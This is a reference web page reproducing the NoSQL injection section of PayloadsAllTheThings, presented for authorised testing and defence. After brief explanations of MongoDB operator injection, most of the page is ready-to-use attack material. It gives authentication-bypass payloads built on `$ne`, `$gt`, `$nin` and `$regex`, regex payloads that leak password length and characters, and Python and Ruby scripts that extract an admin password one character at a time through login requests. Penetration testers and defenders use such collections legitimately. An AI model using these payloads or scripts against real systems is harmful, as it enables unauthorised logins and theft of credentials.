Skip to content

Payloads · SQL Injection

NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if…

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository.

Disclosed reports of this class

10 of 10 passages

Passages
  1. NoSQL Injection
  2. Methodology
  3. Operator Injection
  4. Authentication Bypass
  5. Extract Length Information
  6. Extract Data Information
  7. WAF and Filters
  8. POST with JSON Body
  9. POST with urlencoded Body
  10. GET

NoSQL Injection

SourceOn the Atlas

> NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

Methodology

SourceOn the Atlas

NoSQL injection occurs when an attacker manipulates queries by injecting malicious input into a NoSQL database query. Unlike SQL injection, NoSQL injection often exploits JSON-based queries and operators like `$ne`, `$gt`, `$regex`, or `$where` in MongoDB.

Operator Injection

SourceOn the Atlas

| Operator | Description | | -------- | ------------------ | | $ne | not equal | | $regex | regular expression | | $gt | greater than | | $lt | lower than | | $nin | not in | Example: A web application has a product search feature

db.products.find({ "price": userInput })

An attacker can inject a NoSQL query: `{ "$gt": 0 }`.

db.products.find({ "price": { "$gt": 0 } })

Instead of returning a specific product, the database returns all products with a price greater than zero, leaking data.

Authentication Bypass

SourceOn the Atlas

Basic authentication bypass using not equal (`$ne`) or greater (`$gt`) * HTTP data

  username[$ne]=toto&password[$ne]=toto
  login[$regex]=a.*&pass[$ne]=lol
  login[$gt]=admin&login[$lt]=test&pass[$ne]=1
  login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto

* JSON data

  {"username": {"$ne": null}, "password": {"$ne": null}}
  {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
  {"username": {"$gt": undefined}, "password": {"$gt": undefined}}
  {"username": {"$gt":""}, "password": {"$gt":""}}

Extract Length Information

SourceOn the Atlas

Inject a payload using the $regex operator. The injection will work when the length is correct.

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}

Extract Data Information

SourceOn the Atlas

Extract data with "`$regex`" query operator. * HTTP data

  username[$ne]=toto&password[$regex]=m.{2}
  username[$ne]=toto&password[$regex]=md.{1}
  username[$ne]=toto&password[$regex]=mdp

  username[$ne]=toto&password[$regex]=m.*
  username[$ne]=toto&password[$regex]=md.*

* JSON data

  {"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
  {"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
  {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

Extract data with "`$in`" query operator.

{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

WAF and Filters

SourceOn the Atlas

**Remove pre-condition**: In MongoDB, if a document contains duplicate keys, only the last occurrence of the key will take precedence.

{"id":"10", "id":"100"}

In this case, the final value of "id" will be "100".

POST with JSON Body

SourceOn the Atlas

Python script:

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/json'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if 'OK' in r.text or r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c

POST with urlencoded Body

SourceOn the Atlas

Python script:

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/x-www-form-urlencoded'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|','&','$']:
            payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if r.status_code == 302 and r.headers['Location'] == '/dashboard':
                print("Found one more char : %s" % (password+c))
                password += c

GET

SourceOn the Atlas

Python script:

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username='admin'
password=''
u='http://example.org/login'

while True:
  for c in string.printable:
    if c not in ['*','+','.','?','|', '#', '&', '$']:
      payload=f"?username={username}&password[$regex]=^{password + c}"
      r = requests.get(u + payload)
      if 'Yeah' in r.text:
        print(f"Found one more char : {password+c}")
        password += c

Ruby script:

require 'httpx'

username = 'admin'
password = ''
url = 'http://example.org/login'
# CHARSET = (?!..?~).to_a # all ASCII printable characters
CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-'
GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$']
session = HTTPX.plugin(:persistent)

while true
  CHARSET.each do |c|
    unless GET_EXCLUDE.include?(c)
      payload = "?username=#{username}&password[$regex]=^#{password + c}"
      res = session.get(url + payload)
      if res.body.to_s.match?('Yeah')
        puts "Found one more char : #{password + c}"
        password += c
      end
    end
  end
end

Data as of 2026-11-14.

Updated AboutDevelopersSign in